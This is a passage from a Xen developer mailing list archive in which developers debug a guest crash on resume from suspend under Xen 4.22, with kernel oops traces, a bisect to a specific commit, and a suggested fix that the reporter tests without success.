> > > > >     [   24.374668] PGD 0 P4D 0
> > > > >     [   24.374675] Oops: Oops: 0000 [#1] SMP NOPTI
> > > > >     [   24.374685] CPU: 0 UID: 0 PID: 19 Comm: migration/0 Not ta=
inted 6.18.31-1.qubes.13.fc41.x86_64 #1 PREEMPT(full)
> > > > >     [   24.374705] Stopper: multi_cpu_stop+0x0/0x140 <- __stop_cp=
us.constprop.0+0x6f/0xb0
> > > > >     [   24.374723] RIP: 0010:multi_cpu_stop+0x63/0x140
> > > > >     [   24.374734] Code: 49 0f a3 1c 24 41 0f 92 c6 c7 44 24 04 0=
0 00 00 00 31 ed 49 8d 5f 24 eb 2d 41 83 fd 02 74 6e 41 83 fd 03 74 49 f0 f=
f 0b 75 13 <41> 8b 47 20 41 8b 77 10 83 c0 01 41 89 77 24 41 89 47 20 41 83=
 fd
> > > > >     [   24.374764] RSP: 0018:ffffc900000abe30 EFLAGS: 00010046
> > > > >     [   24.374775] RAX: 0000000000000000 RBX: ffffc90000a13de4 RC=
X: 0000000000000404
> > > > >     [   24.374790] RDX: 0000000000000040 RSI: ffffffffffffffff RD=
I: 0000000000770ef0
> > > > >     [   24.374801] RBP: 0000000000000002 R08: ffffc900000abc80 R0=
9: ffffc900000abc8c
> > > > >     [   24.374813] R10: 0000000000000000 R11: ffff88801e81cdc0 R1=
2: ffffffff81835ac0
> > > > >     [   24.374825] R13: 0000000000000000 R14: 0000000000000000 R1=
5: 0000000000000000
> > > > >     [   24.374837] FS:  0000000000000000(0000) GS:ffff88809b36900=
0(0000) knlGS:0000000000000000
> > > > >     [   24.374850] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050=
033
> > > > >     [   24.374860] CR2: 0000000000000020 CR3: 000000000d6a2002 CR=
4: 0000000000770ef0
> > > > >     [   24.374873] PKRU: 00000000
> > > > >     [   24.374877] Call Trace:
> > > > >     [   24.374884]  <TASK>
> > > > >     [   24.374891]  ? __pfx_multi_cpu_stop+0x10/0x10
> > > > >     [   24.374900]  cpu_stopper_thread+0xa3/0x170
> > > > >     [   24.374908]  ? __pfx_smpboot_thread_fn+0x10/0x10
> > > > >     [   24.374917]  smpboot_thread_fn+0xf3/0x220
> > > > >     [   24.374925]  kthread+0xfc/0x240
> > > > >     [   24.374933]  ? __pfx_kthread+0x10/0x10
> > > > >     [   24.374940]  ? __pfx_kthread+0x10/0x10
> > > > >     [   24.374949]  ret_from_fork+0x158/0x170
> > > > >     [   24.374957]  ? __pfx_kthread+0x10/0x10
> > > > >     [   24.374965]  ret_from_fork_asm+0x1a/0x30
> > > > >     [   24.374973]  </TASK>
> > > > >     [   24.374978] Modules linked in: snd_seq_dummy snd_hrtimer s=
nd_seq snd_seq_device snd_timer snd soundcore cfg80211 rfkill vfat fat xenf=
s binfmt_misc nft_reject_inet nf_reject_ipv4 nf_reject_ipv6 nft_reject nft_=
ct nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 nf_tables intel_rapl_msr inte=
l_rapl_common intel_uncore_frequency_common intel_pmc_ssram_telemetry intel=
_vsec polyval_clmulni ghash_clmulni_intel xen_netfront xen_privcmd xen_gntd=
ev xen_gntalloc xen_blkback xen_evtchn fuse loop nfnetlink ip_tables overla=
y xen_blkfront
> > > > >     [   24.375064] CR2: 0000000000000020
> > > > >     [   24.375071] ---[ end trace 0000000000000000 ]---
> > > > >     [   24.375080] RIP: 0010:multi_cpu_stop+0x63/0x140
> > > > >     [   24.375089] Code: 49 0f a3 1c 24 41 0f 92 c6 c7 44 24 04 0=
0 00 00 00 31 ed 49 8d 5f 24 eb 2d 41 83 fd 02 74 6e 41 83 fd 03 74 49 f0 f=
f 0b 75 13 <41> 8b 47 20 41 8b 77 10 83 c0 01 41 89 77 24 41 89 47 20 41 83=
 fd
> > > > >     [   24.375115] RSP: 0018:ffffc900000abe30 EFLAGS: 00010046
> > > > >     [   24.375124] RAX: 0000000000000000 RBX: ffffc90000a13de4 RC=
X: 0000000000000404
> > > > >     [   24.375142] RDX: 0000000000000040 RSI: ffffffffffffffff RD=
I: 0000000000770ef0
> > > > >     [   24.375155] RBP: 0000000000000002 R08: ffffc900000abc80 R0=
9: ffffc900000abc8c
> > > > >     [   24.375170] R10: 0000000000000000 R11: ffff88801e81cdc0 R1=
2: ffffffff81835ac0
> > > > >     [   24.375184] R13: 0000000000000000 R14: 0000000000000000 R1=
5: 0000000000000000
> > > > >     [   24.375200] FS:  0000000000000000(0000) GS:ffff88809b36900=
0(0000) knlGS:0000000000000000
> > > > >     [   24.375214] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050=
033
> > > > >     [   24.375226] CR2: 0000000000000020 CR3: 000000000d6a2002 CR=
4: 0000000000770ef0
> > > > >     [   24.375241] PKRU: 00000000
> > > > >     [   24.375247] Kernel panic - not syncing: Fatal exception
> > > > >     [   25.417403] Shutting down cpus with NMI
> > > > >     [   25.417447] Kernel Offset: disabled
> > > > >
> > > > > There is no change on the Linux kernel side (neither dom0 nor dom=
U), the
> > > > > only change is updating Xen 4.19.4 -> 4.22-rc2 (seems to be alrea=
dy
> > > > > broken on -rc1 too). This happens for both HVM and PVH domains. H=
aven't
> > > > > tried PV domU (but dom0 survives host suspend).
> > > >
> > > > Any ideas?
> > > >
> > >
> > > Hi,
> > >    not many ideas but while testing my libxenguest changes I found
> > > similar failures using xl create/save/restore. But I was testing more
> > > PV guests.
> > > Does 4.21 work ?
> >
> > It seems 4.21 also has this issue:
> > https://gitlab.com/xen-project/people/marmarek/xen/-/jobs/15414211523
> > But 4.20 is okay:
> > https://gitlab.com/xen-project/people/marmarek/xen/-/jobs/15414227095
> >
> > I guess I can bisect it further.
>
> So, bisect says the first bad commit is:
>
>     commit 9f892f84c27970840d255aef7e2851b762967de7
>     Author: Andrew Cooper <andrew.cooper3@citrix.com>
>     Date:   Mon Dec 30 11:49:14 2024 +0000
>
>         x86/domctl: Stop using XLAT_cpu_user_regs()
>
> My test isn't 100% reliable, but I retested parent of this commit a
> couple of times and it was good every time.
>
> I wanted to test reverting it on top of 4.21, but there is a lot of
> FRED-related work on top that makes such revert quite hard, to say the
> least...
>

The generated XLAT_cpu_user_regs was

#define XLAT_cpu_user_regs(_d_, _s_) do { \
    (_d_)->__DECL_REG_LO8(b) =3D (_s_)->__DECL_REG_LO8(b); \
    (_d_)->__DECL_REG_LO8(c) =3D (_s_)->__DECL_REG_LO8(c); \
    (_d_)->__DECL_REG_LO8(d) =3D (_s_)->__DECL_REG_LO8(d); \
    (_d_)->__DECL_REG_LO16(si) =3D (_s_)->__DECL_REG_LO16(si); \
    (_d_)->__DECL_REG_LO16(di) =3D (_s_)->__DECL_REG_LO16(di); \
    (_d_)->__DECL_REG_LO16(bp) =3D (_s_)->__DECL_REG_LO16(bp); \
    (_d_)->__DECL_REG_LO8(a) =3D (_s_)->__DECL_REG_LO8(a); \
    (_d_)->error_code =3D (_s_)->error_code; \
    (_d_)->entry_vector =3D (_s_)->entry_vector; \
    (_d_)->__DECL_REG_LO16(ip) =3D (_s_)->__DECL_REG_LO16(ip); \
    (_d_)->cs =3D (_s_)->cs; \
    (_d_)->saved_upcall_mask =3D (_s_)->saved_upcall_mask; \
    (_d_)->__DECL_REG_LO16(flags) =3D (_s_)->__DECL_REG_LO16(flags); \
    (_d_)->__DECL_REG_LO16(sp) =3D (_s_)->__DECL_REG_LO16(sp); \
    (_d_)->ss =3D (_s_)->ss; \
    (_d_)->es =3D (_s_)->es; \
    (_d_)->ds =3D (_s_)->ds; \
    (_d_)->fs =3D (_s_)->fs; \
    (_d_)->gs =3D (_s_)->gs; \
} while (0)

registers are copied, but additional fields (error_code, entry_vector,
saved_upcall_mask).
Maybe you could try to copy them again.
Also, just to be on the safe side, you could memset the structure
where "Backing memory is pre-zeroed" comments are.

Frediano


From xen-devel-bounces@lists.xenproject.org Sun Jul 19 19:41:03 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 19 Jul 2026 19:41:03 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366023.1615984 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlXNM-0001ye-Sr; Sun, 19 Jul 2026 19:40:36 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366023.1615984; Sun, 19 Jul 2026 19:40:36 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlXNM-0001yW-OP; Sun, 19 Jul 2026 19:40:36 +0000
Received: by outflank-mailman (input) for mailman id 1366023;
 Sun, 19 Jul 2026 19:40:35 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marmarek@invisiblethingslab.com>) id 1wlXNL-0001yQ-8r
 for xen-devel@lists.xenproject.org; Sun, 19 Jul 2026 19:40:35 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlXNJ-00EdOo-3O
 for xen-devel@lists.xenproject.org; Sun, 19 Jul 2026 21:40:33 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marmarek@invisiblethingslab.com>)
 id 6a5d27c8-5cb7-0a2a0a5109dd-0a2a4508d456-18
 for <xen-devel@lists.xenproject.org>; Sun, 19 Jul 2026 21:40:32 +0200
Received: from [103.168.172.153] (helo=fhigh-a2-smtp.messagingengine.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <marmarek@invisiblethingslab.com>)
 id 6a5d282f-f659-0a2a45080019-67a8ac99e09d-3
 for <xen-devel@lists.xenproject.org>; Sun, 19 Jul 2026 21:40:32 +0200
Received: from phl-compute-05.internal (phl-compute-05.internal [10.202.2.45])
 by mailfhigh.phl.internal (Postfix) with ESMTP id 0A3ED14000B8;
 Sun, 19 Jul 2026 15:40:31 -0400 (EDT)
Received: from phl-frontend-04 ([10.202.2.163])
 by phl-compute-05.internal (MEProxy); Sun, 19 Jul 2026 15:40:31 -0400
Received: by mail.messagingengine.com (Postfix) with ESMTPA; Sun,
 19 Jul 2026 15:40:30 -0400 (EDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=fm2 header.d=invisiblethingslab.com header.i="@invisiblethingslab.com" header.h="Cc:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=fm2 header.d=messagingengine.com header.i="@messagingengine.com" header.h="Cc:Content-Type:Date:Feedback-ID:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To:X-ME-Proxy:X-ME-Sender"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	invisiblethingslab.com; h=cc:cc:content-type:content-type:date
	:date:from:from:in-reply-to:in-reply-to:message-id:mime-version
	:references:reply-to:subject:subject:to:to; s=fm2; t=1784490031;
	 x=1784576431; bh=3v2Ofi3nG1T6XBZcCr5iLVMgBDHkTJH5Pgc9MIBCFGA=; b=
	vR3eznJIUZeEhMJv2cZe4IGZXDJOvRFNsxoDtXChnwWrrIQ7sqoiTZZs7o/l8Buj
	1s4IFikxU9kDHkz5tHjrHX23Hmwfglu2mM9Cz7/iaxfSyrzhh+cUzqUggGyvpSqe
	Lz17TKhhCcH+q4XMnUwOSzQPBXq93LydhPxZasBc7bd5JBq8WBC8PLtV8YNit8k8
	HNtqpvf0DMSDR8WsXAoDhuY0F4DvoB4C2z4WszEvCGBXYPl7GUSinkvPtfX0KPN+
	CghAWGxNJE2Npg6YPohF87p8XcVKSW5+kESgbWOR7hvGGganjTJAgVbAVIVMvjyc
	Mm91lPRLNUL3QkGssmPlOw==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	messagingengine.com; h=cc:cc:content-type:content-type:date:date
	:feedback-id:feedback-id:from:from:in-reply-to:in-reply-to
	:message-id:mime-version:references:reply-to:subject:subject:to
	:to:x-me-proxy:x-me-sender:x-me-sender:x-sasl-enc; s=fm2; t=
	1784490031; x=1784576431; bh=3v2Ofi3nG1T6XBZcCr5iLVMgBDHkTJH5Pgc
	9MIBCFGA=; b=U1CyFQ/pZD0X3LPF/R6hDgGJd1f7sn2k51Sh96mtmm+RH43Cndc
	xWN+BuVmvBhtaFCN1UWIHV6ufGK0NtTd1DDRPMoToUUDJKL1R8Dc9WhxRc35ojUr
	MjiALWBxyU7c1jKAhL/REXplwLMEi3RxWPzFyC69FJTiRMveWvNATxKcckowqSYG
	1SHVkannRL9U3vRryR2lf8jiKAYb+Hq2iFYJcwjVyIHM7c76wNzWib0z7Zpjr7Zz
	i9li6fURu67H5ey9Lh9Xuq8cMY/xGYR0oGBi3zcIUNqAPnIYp54PS3hUa7rxjQ5b
	AGD11nt4N/O2rXIJWIx4+K5VdCt+1oYqf4Q==
X-ME-Sender: <xms:Lihdau8uWwR7LzJxNafdP8OBvk69RKP6UUxbY21UywJ1t5tV-rrDOg>
    <xme:LihdamKtI__OzCzPHkoeHFxVwEcA4g8apVolZyx9zAeqM1a3pTzJfJVKNYFpiK2db
    SrMJUI5vyTQKV_hX9Qhw_2wAJtB_A-Tef5B8B6sGnJowYttn8M>
X-ME-Received: <xmr:LihdahbnzLaI3rdNtn5nhGFAI8oJOYn02XAMafznfGv5fyTnaMrgMUigUZOmnPcqOtxaxvsCQ-7HtP8UI14ltywKG46nwUddWu8>
X-ME-Proxy-Cause: dmFkZTG2Zdp225JzChDPxs2dHFgvT8zyZ1YjwiKkGm4KUwoxHteakC8IZbGJgdCBAdXoWc
    fGNQdBMT/Cf6TSdxuphBTo7qP00Mvn2M2BgQOEEjf1QyQ6OFF5WL37VkUH2QXgEQtl8cXj
    YUPPDFNg9VvvnC1rWq7Out/d9W/FlF0NGYTR+PVR4mymkxRSEc1AaCqEXQIQp9e/M3G9fF
    Sf66VuqbNXy/AFaFixDq1O5EAFz//tllzjD5FHep3DTthk+iNmUJ648PdeBvIAClx+DFQg
    GjrzHS0X5Z8ot4cIEk3ADJVNk6qRrpsTuRe8XzwN/rHTWXxURRUVC465XMq15MoNR2VKoC
    vRbBt2PPfo2fE1T9ruGEjPUQ1fNmvn8AQP/+tA44l1synBx2m5P3ZKKlNnLg35rVdYGimy
    0aZGqL5XGZAqIdXsqs9ksJ5e7xPpXiIQ3+31alkphNDfgiopJHJ0nrEzrMcDBDcC2KOBp1
    J6C/VooLnmHs5NeHEtai0GlPilHRMRCR4x508cHHpJvspF+tvRg3vkEFtHzynU4RKVETyR
    +MsiqaiCHFN0KZvde+yXl6gdnJAjavZP/fUSNK9DTJuY0xp2ycYO2xD8wyukrcFiDlDTGm
    rpoNshfKBWZ23r2TOAaM/68/i4U020f32eWq5tF3FbPJTK28mTvSiQ65IFdQ
X-ME-Proxy: <xmx:LihdagKs7vGkpIM4quHlrRI4XhhpOsoZhw6b9WlPtr4QfH0Fs0jfQA>
    <xmx:LihdanCEYil2Wq6jIf69M5d5TfEIARtLQFajBCsDSH0F9EwxXEzyIQ>
    <xmx:LihdatqEwGPNZqJdUqv_hZlEYxztAyJjXLQ_0G8LtsGA08QDf50Bvw>
    <xmx:Lihdaqh2H2N6-7Ds3--LX7vRcggDjax7xwMFKZMrEBsCDfzJfl72IQ>
    <xmx:Lyhdat2qPUQ2Rwm7gX8832GwUBz7oaXT02jvpHCjhvaVyDSa5Sg4BOI6>
Feedback-ID: i1568416f:Fastmail
Date: Sun, 19 Jul 2026 21:40:27 +0200
From: Marek =?utf-8?Q?Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>
To: Frediano Ziglio <freddy77@gmail.com>
Cc: xen-devel <xen-devel@lists.xenproject.org>,
	Andrew Cooper <andrew.cooper3@citrix.com>
Subject: Re: domU crash when resuming from suspend - Xen 4.22
Message-ID: <al0oK0ABYviuWU5P@mail-itl>
References: <ajUm2SQtMD6Y-K9S@mail-itl>
 <alZt_boT-hJuVlD6@mail-itl>
 <CAHt6W4eBibmZ3fXd=sW4=nbuYV1QQMCQzEX=L7FaqL5aXeOvGQ@mail.gmail.com>
 <aluHsZA0hK8FcKnM@mail-itl>
 <alwvn_K_miQgiiIf@mail-itl>
 <CAHt6W4cyDAsTyOcPLcR2STQyhpkNe5W+to3JRn0yWnm3J9VF+w@mail.gmail.com>
MIME-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha256;
	protocol="application/pgp-signature"; boundary="c8yRdO14Dzq9+i3e"
Content-Disposition: inline
In-Reply-To: <CAHt6W4cyDAsTyOcPLcR2STQyhpkNe5W+to3JRn0yWnm3J9VF+w@mail.gmail.com>
X-purgate-ID: tlsNG-c1860d/1784490032-D795A87B-738D540C/0/0
X-purgate-type: clean
X-purgate-size: 10781

--c8yRdO14Dzq9+i3e
Content-Type: text/plain; protected-headers=v1; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable
Date: Sun, 19 Jul 2026 21:40:27 +0200
From: Marek =?utf-8?B?PT91dGYtOD9RP01hcmN6eWtvd3NraS1HPUMzPUIzcmVja2k/PQ==?= <marmarek@invisiblethingslab.com>
To: Frediano Ziglio <freddy77@gmail.com>
Cc: xen-devel <xen-devel@lists.xenproject.org>,
	Andrew Cooper <andrew.cooper3@citrix.com>
Subject: Re: domU crash when resuming from suspend - Xen 4.22

On Sun, Jul 19, 2026 at 08:31:28AM +0100, Frediano Ziglio wrote:
> On Sun, 19 Jul 2026 at 03:00, Marek Marczykowski-G=C3=B3recki
> <marmarek@invisiblethingslab.com> wrote:
> >
> > On Sat, Jul 18, 2026 at 04:03:29PM +0200, Marek Marczykowski-G=C3=B3rec=
ki wrote:
> > > On Fri, Jul 17, 2026 at 09:22:47PM +0100, Frediano Ziglio wrote:
> > > > On Tue, 14 Jul 2026 at 18:12, Marek Marczykowski-G=C3=B3recki
> > > > <marmarek@invisiblethingslab.com> wrote:
> > > > >
> > > > > On Fri, Jun 19, 2026 at 01:24:09PM +0200, Marek Marczykowski-G=C3=
=B3recki wrote:
> > > > > > Hi,
> > > > > >
> > > > > > I'm continuing testing 4.22 and found this:
> > > > > >
> > > > > > When a domU is suspended (even without host suspend) it crashes=
 on
> > > > > > resume with:
> > > > > >
> > > > > >     [   24.374629] BUG: kernel NULL pointer dereference, addres=
s: 0000000000000020
> > > > > >     [   24.374647] #PF: supervisor read access in kernel mode
> > > > > >     [   24.374657] #PF: error_code(0x0000) - not-present page
> > > > > >     [   24.374668] PGD 0 P4D 0
> > > > > >     [   24.374675] Oops: Oops: 0000 [#1] SMP NOPTI
> > > > > >     [   24.374685] CPU: 0 UID: 0 PID: 19 Comm: migration/0 Not =
tainted 6.18.31-1.qubes.13.fc41.x86_64 #1 PREEMPT(full)
> > > > > >     [   24.374705] Stopper: multi_cpu_stop+0x0/0x140 <- __stop_=
cpus.constprop.0+0x6f/0xb0
> > > > > >     [   24.374723] RIP: 0010:multi_cpu_stop+0x63/0x140
> > > > > >     [   24.374734] Code: 49 0f a3 1c 24 41 0f 92 c6 c7 44 24 04=
 00 00 00 00 31 ed 49 8d 5f 24 eb 2d 41 83 fd 02 74 6e 41 83 fd 03 74 49 f0=
 ff 0b 75 13 <41> 8b 47 20 41 8b 77 10 83 c0 01 41 89 77 24 41 89 47 20 41 =
83 fd
> > > > > >     [   24.374764] RSP: 0018:ffffc900000abe30 EFLAGS: 00010046
> > > > > >     [   24.374775] RAX: 0000000000000000 RBX: ffffc90000a13de4 =
RCX: 0000000000000404
> > > > > >     [   24.374790] RDX: 0000000000000040 RSI: ffffffffffffffff =
RDI: 0000000000770ef0
> > > > > >     [   24.374801] RBP: 0000000000000002 R08: ffffc900000abc80 =
R09: ffffc900000abc8c
> > > > > >     [   24.374813] R10: 0000000000000000 R11: ffff88801e81cdc0 =
R12: ffffffff81835ac0
> > > > > >     [   24.374825] R13: 0000000000000000 R14: 0000000000000000 =
R15: 0000000000000000
> > > > > >     [   24.374837] FS:  0000000000000000(0000) GS:ffff88809b369=
000(0000) knlGS:0000000000000000
> > > > > >     [   24.374850] CS:  0010 DS: 0000 ES: 0000 CR0: 00000000800=
50033
> > > > > >     [   24.374860] CR2: 0000000000000020 CR3: 000000000d6a2002 =
CR4: 0000000000770ef0
> > > > > >     [   24.374873] PKRU: 00000000
> > > > > >     [   24.374877] Call Trace:
> > > > > >     [   24.374884]  <TASK>
> > > > > >     [   24.374891]  ? __pfx_multi_cpu_stop+0x10/0x10
> > > > > >     [   24.374900]  cpu_stopper_thread+0xa3/0x170
> > > > > >     [   24.374908]  ? __pfx_smpboot_thread_fn+0x10/0x10
> > > > > >     [   24.374917]  smpboot_thread_fn+0xf3/0x220
> > > > > >     [   24.374925]  kthread+0xfc/0x240
> > > > > >     [   24.374933]  ? __pfx_kthread+0x10/0x10
> > > > > >     [   24.374940]  ? __pfx_kthread+0x10/0x10
> > > > > >     [   24.374949]  ret_from_fork+0x158/0x170
> > > > > >     [   24.374957]  ? __pfx_kthread+0x10/0x10
> > > > > >     [   24.374965]  ret_from_fork_asm+0x1a/0x30
> > > > > >     [   24.374973]  </TASK>
> > > > > >     [   24.374978] Modules linked in: snd_seq_dummy snd_hrtimer=
 snd_seq snd_seq_device snd_timer snd soundcore cfg80211 rfkill vfat fat xe=
nfs binfmt_misc nft_reject_inet nf_reject_ipv4 nf_reject_ipv6 nft_reject nf=
t_ct nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 nf_tables intel_rapl_msr in=
tel_rapl_common intel_uncore_frequency_common intel_pmc_ssram_telemetry int=
el_vsec polyval_clmulni ghash_clmulni_intel xen_netfront xen_privcmd xen_gn=
tdev xen_gntalloc xen_blkback xen_evtchn fuse loop nfnetlink ip_tables over=
lay xen_blkfront
> > > > > >     [   24.375064] CR2: 0000000000000020
> > > > > >     [   24.375071] ---[ end trace 0000000000000000 ]---
> > > > > >     [   24.375080] RIP: 0010:multi_cpu_stop+0x63/0x140
> > > > > >     [   24.375089] Code: 49 0f a3 1c 24 41 0f 92 c6 c7 44 24 04=
 00 00 00 00 31 ed 49 8d 5f 24 eb 2d 41 83 fd 02 74 6e 41 83 fd 03 74 49 f0=
 ff 0b 75 13 <41> 8b 47 20 41 8b 77 10 83 c0 01 41 89 77 24 41 89 47 20 41 =
83 fd
> > > > > >     [   24.375115] RSP: 0018:ffffc900000abe30 EFLAGS: 00010046
> > > > > >     [   24.375124] RAX: 0000000000000000 RBX: ffffc90000a13de4 =
RCX: 0000000000000404
> > > > > >     [   24.375142] RDX: 0000000000000040 RSI: ffffffffffffffff =
RDI: 0000000000770ef0
> > > > > >     [   24.375155] RBP: 0000000000000002 R08: ffffc900000abc80 =
R09: ffffc900000abc8c
> > > > > >     [   24.375170] R10: 0000000000000000 R11: ffff88801e81cdc0 =
R12: ffffffff81835ac0
> > > > > >     [   24.375184] R13: 0000000000000000 R14: 0000000000000000 =
R15: 0000000000000000
> > > > > >     [   24.375200] FS:  0000000000000000(0000) GS:ffff88809b369=
000(0000) knlGS:0000000000000000
> > > > > >     [   24.375214] CS:  0010 DS: 0000 ES: 0000 CR0: 00000000800=
50033
> > > > > >     [   24.375226] CR2: 0000000000000020 CR3: 000000000d6a2002 =
CR4: 0000000000770ef0
> > > > > >     [   24.375241] PKRU: 00000000
> > > > > >     [   24.375247] Kernel panic - not syncing: Fatal exception
> > > > > >     [   25.417403] Shutting down cpus with NMI
> > > > > >     [   25.417447] Kernel Offset: disabled
> > > > > >
> > > > > > There is no change on the Linux kernel side (neither dom0 nor d=
omU), the
> > > > > > only change is updating Xen 4.19.4 -> 4.22-rc2 (seems to be alr=
eady
> > > > > > broken on -rc1 too). This happens for both HVM and PVH domains.=
 Haven't
> > > > > > tried PV domU (but dom0 survives host suspend).
> > > > >
> > > > > Any ideas?
> > > > >
> > > >
> > > > Hi,
> > > >    not many ideas but while testing my libxenguest changes I found
> > > > similar failures using xl create/save/restore. But I was testing mo=
re
> > > > PV guests.
> > > > Does 4.21 work ?
> > >
> > > It seems 4.21 also has this issue:
> > > https://gitlab.com/xen-project/people/marmarek/xen/-/jobs/15414211523
> > > But 4.20 is okay:
> > > https://gitlab.com/xen-project/people/marmarek/xen/-/jobs/15414227095
> > >
> > > I guess I can bisect it further.
> >
> > So, bisect says the first bad commit is:
> >
> >     commit 9f892f84c27970840d255aef7e2851b762967de7
> >     Author: Andrew Cooper <andrew.cooper3@citrix.com>
> >     Date:   Mon Dec 30 11:49:14 2024 +0000
> >
> >         x86/domctl: Stop using XLAT_cpu_user_regs()
> >
> > My test isn't 100% reliable, but I retested parent of this commit a
> > couple of times and it was good every time.
> >
> > I wanted to test reverting it on top of 4.21, but there is a lot of
> > FRED-related work on top that makes such revert quite hard, to say the
> > least...
> >
>=20
> The generated XLAT_cpu_user_regs was
>=20
> #define XLAT_cpu_user_regs(_d_, _s_) do { \
>     (_d_)->__DECL_REG_LO8(b) =3D (_s_)->__DECL_REG_LO8(b); \
>     (_d_)->__DECL_REG_LO8(c) =3D (_s_)->__DECL_REG_LO8(c); \
>     (_d_)->__DECL_REG_LO8(d) =3D (_s_)->__DECL_REG_LO8(d); \
>     (_d_)->__DECL_REG_LO16(si) =3D (_s_)->__DECL_REG_LO16(si); \
>     (_d_)->__DECL_REG_LO16(di) =3D (_s_)->__DECL_REG_LO16(di); \
>     (_d_)->__DECL_REG_LO16(bp) =3D (_s_)->__DECL_REG_LO16(bp); \
>     (_d_)->__DECL_REG_LO8(a) =3D (_s_)->__DECL_REG_LO8(a); \
>     (_d_)->error_code =3D (_s_)->error_code; \
>     (_d_)->entry_vector =3D (_s_)->entry_vector; \
>     (_d_)->__DECL_REG_LO16(ip) =3D (_s_)->__DECL_REG_LO16(ip); \
>     (_d_)->cs =3D (_s_)->cs; \
>     (_d_)->saved_upcall_mask =3D (_s_)->saved_upcall_mask; \
>     (_d_)->__DECL_REG_LO16(flags) =3D (_s_)->__DECL_REG_LO16(flags); \
>     (_d_)->__DECL_REG_LO16(sp) =3D (_s_)->__DECL_REG_LO16(sp); \
>     (_d_)->ss =3D (_s_)->ss; \
>     (_d_)->es =3D (_s_)->es; \
>     (_d_)->ds =3D (_s_)->ds; \
>     (_d_)->fs =3D (_s_)->fs; \
>     (_d_)->gs =3D (_s_)->gs; \
> } while (0)
>=20
> registers are copied, but additional fields (error_code, entry_vector,
> saved_upcall_mask).
> Maybe you could try to copy them again.
> Also, just to be on the safe side, you could memset the structure
> where "Backing memory is pre-zeroed" comments are.

This does not help :(

Specifically:
1. Applied on top of staging-4.21:
  - build: https://gitlab.com/xen-project/people/marmarek/xen/-/commits/188=
ca612c51a57ef54b917c833eaeb59666994c9
  - test (fails): https://gitlab.com/xen-project/people/marmarek/xen/-/pipe=
lines/2688813821
2. Applied directly on top of 9f892f84c27970840d255aef7e2851b762967de7:
  - build: https://gitlab.com/xen-project/people/marmarek/xen/-/commits/dd3=
dee35fc4fcd6ba284f3f5fa78b333c472888e
  - test (fails): https://gitlab.com/xen-project/people/marmarek/xen/-/pipe=
lines/2688832398

Yet, parent of 9f892f84c27970840d255aef7e2851b762967de7 still passes:
 - build: https://gitlab.com/xen-project/people/marmarek/xen/-/commits/dbcb=
bed4e9dc25faa211d359c2f04a9c70f087c9
 - test (pass): https://gitlab.com/xen-project/people/marmarek/xen/-/pipeli=
nes/2688835512

Hint about reading the above: I use two branches, one for building
(branch "test") and one for running the test (branch "automation-uki-grub-o=
nly"),
which takes build artifacts from the build branch. I do that to not
rebase test scripts. It's a bit opaque, but the console log of the test
contains "Latest ChangeSet" fields telling what actually was tested.

--=20
Best Regards,
Marek Marczykowski-G=C3=B3recki
Invisible Things Lab

--c8yRdO14Dzq9+i3e
Content-Type: application/pgp-signature; name=signature.asc

-----BEGIN PGP SIGNATURE-----

iQEzBAEBCAAdFiEEhrpukzGPukRmQqkK24/THMrX1ywFAmpdKCwACgkQ24/THMrX
1yx07wf9G7FZNEGPvp8D3nwUI0WiimXJjaxoVGCy8LmrCVPqwFcLGpEI8msxp4kG
+PqHKwKj3OyLfgd18krMc96H9Wos/IGpYY3OwRHir4F1WAzf6a1/quoxqR92lljL
/w+C4xwrLcpubawUaGWRL77lnWVsr8g5k0Dw+k+C/D/VYG6MOLaVaENL3GtuHJ8c
Qm1pvtC6jkjGhepA/QoFkzHFMx+6mQd8zg+NuOoeYndlXGHagsLeNL7XLiVx/f4W
Tk6WTEqNLlV7NmXa5WFpAE9IyBbcsPZRi921odFvVUM4/3FLE5HL+ixWmFm5Nv4N
SovxXahsIxoe5VswpwD9aC8k1pvlLQ==
=BA8R
-----END PGP SIGNATURE-----

--c8yRdO14Dzq9+i3e--


From xen-devel-bounces@lists.xenproject.org Sun Jul 19 21:05:15 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 19 Jul 2026 21:05:15 +0000
